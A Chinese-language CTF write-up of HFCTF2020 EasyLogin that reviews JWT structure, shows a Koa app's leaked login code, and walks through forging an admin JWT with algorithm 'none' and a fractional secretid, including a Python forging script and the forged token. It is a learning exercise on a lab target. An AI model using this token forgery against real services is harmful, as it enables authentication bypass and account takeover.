[HFCTF2020]EasyLogin

[HFCTF2020]EasyLogin

又是一道关于jwt伪造的题目

再来回顾下jwt的一些知识吧

jwt初识

认识jwt

https://www.cnblogs.com/cjsblog/p/9277677.html

摘自上面的文章

JSON Web Token的结构是什么样的

img

JSON Web Token由三部分组成,它们之间用圆点(.)连接。这三部分分别是:

  • Header
  • Payload
  • Signature

因此,一个典型的JWT看起来是这个样子的:

xxxxx.yyyyy.zzzzz

接下来,具体看一下每一部分:

header型的由两部分组成:token的类型(“JWT”)和算法名称(比如:HMAC SHA256或者RSA等等)。

例如:

img

然后,用Base64对这个JSON编码就得到JWT的第一部分

Payload

JWT的第二部分是payload,它包含声明(要求)。声明是关于实体(通常是用户)和其他数据的声明。声明有三种类型: registered, public 和 private。

  • Registered claims : 这里有一组预定义的声明,它们不是强制的,但是推荐。比如:iss (issuer), exp (expiration time), sub (subject), aud (audience)等。
  • Public claims : 可以随意定义。
  • Private claims : 用于在同意使用它们的各方之间共享信息,并且不是注册的或公开的声明。

下面是一个例子:

img

对payload进行Base64编码就得到JWT的第二部分

注意,不要在JWT的payload或header中放置敏感信息,除非它们是加密的。

Signature

为了得到签名部分,你必须有编码过的header、编码过的payload、一个秘钥,签名算法是header中指定的那个,然对它们签名即可。

例如:

HMACSHA256(base64UrlEncode(header) + "." + base64UrlEncode(payload), secret)

签名是用于验证消息在传递过程中有没有被更改,并且,对于使用私钥签名的token,它还可以验证JWT的发送方是否为它所称的发送方。

做题前期准备工作

一个登录框,注册一个账号登录进去看看

发现有个get flag按钮,但是会被permission denied,猜测需要admin权限

dirsearch扫了下也没啥新的发现

查看WP发现,需要读取controllers/api.js

那么问题来了,怎么知道要读取这玩意儿呢?一切都是经验......

懂得都懂,不懂别问。菜鸡也只能默不作声,好好看,好好学了。

查看/static/js/app.js,发现提示知道是koa框架

/**
 *  或许该用 koa-static 来处理静态文件
 *  路径该怎么配置?不管了先填个根目录XD
 */

首先这是一个koa框架,用nodejs写的,先看一下框架的目录结构

访问/controllers/api.js得到主要逻辑代码

const crypto = require('crypto');
const fs = require('fs')
const jwt = require('jsonwebtoken')

const APIError = require('../rest').APIError;

module.exports = {
    'POST /api/register': async (ctx, next) => {
        const {username, password} = ctx.request.body;

        if(!username || username === 'admin'){
            throw new APIError('register error', 'wrong username');
        }

        if(global.secrets.length > 100000) {
            global.secrets = [];
        }

        const secret = crypto.randomBytes(18).toString('hex');
        const secretid = global.secrets.length;
        global.secrets.push(secret)

        const token = jwt.sign({secretid, username, password}, secret, {algorithm: 'HS256'});

        ctx.rest({
            token: token
        });

        await next();
    },

    'POST /api/login': async (ctx, next) => {
        const {username, password} = ctx.request.body;

        if(!username || !password) {
            throw new APIError('login error', 'username or password is necessary');
        }

        const token = ctx.header.authorization || ctx.request.body.authorization || ctx.request.query.authorization;

        const sid = JSON.parse(Buffer.from(token.split('.')[1], 'base64').toString()).secretid;

        console.log(sid)

        if(sid === undefined || sid === null || !(sid < global.secrets.length && sid >= 0)) {
            throw new APIError('login error', 'no such secret id');
        }

        const secret = global.secrets[sid];

        const user = jwt.verify(token, secret, {algorithm: 'HS256'});

        const status = username === user.username && password === user.password;

        if(status) {
            ctx.session.username = username;
        }

        ctx.rest({
            status
        });

        await next();
    },

    'GET /api/flag': async (ctx, next) => {
        if(ctx.session.username !== 'admin'){
            throw new APIError('permission error', 'permission denied');
        }

        const flag = fs.readFileSync('/flag').toString();
        ctx.rest({
            flag
        });

        await next();
    },

    'GET /api/logout': async (ctx, next) => {
        ctx.session.username = null;
        ctx.rest({
            status: true
        })
        await next();
    }
};

注册的用户名不能为admin,然后生成jwt令牌。

整套逻辑就是注册->登录为admin->得到flag

利用方式

利用nodejs的jwt缺陷,当jwt的secret为空,jwt会采用algorithm为none进行解密。

js是弱语言类型,我们可以将secretid设置为一个小数或空数组(空数组与数字比较时为0)来绕过secretid的一个验证(不能为null&undefined)

if(sid === undefined || sid === null || !(sid < global.secrets.length && sid >= 0)) {
            throw new APIError('login error', 'no such secret id');
        }

这样secrret为空,加密算法也为none,成功绕过jwt验证

核心解题过程

登录时抓包,将authorization的值复制到https://jwt.io/看一下

image-20200805194948411

之后伪造jwt,按照网页那样构造一下,没安装jwt库的话pip install pyjwt即可

import jwt
token = jwt.encode({"secretid":0.1,"username": "admin","password": "123","iat": 1596626836},algorithm="none",key="").decode(encoding='utf-8')
print(token)
#eyJ0eXAiOiJKV1QiLCJhbGciOiJub25lIn0.eyJzZWNyZXRpZCI6MC4xLCJ1c2VybmFtZSI6ImFkbWluIiwicGFzc3dvcmQiOiIxMjMiLCJpYXQiOjE1OTY2MjY4MzZ9.

修改username和authorization,这里要注意username和password要和构造的值一样,go一下,发现status返回true,我们拿到了sses:aok和sses:aok:sig的值

image-20200805194313822

然后抓一下getflag页面的包,修改刚才说到的两个值,因为已经拿到了admin权限,所以可以getflag了

image-20200805194905883

原文地址:https://www.cnblogs.com/LEOGG321/p/13442313.html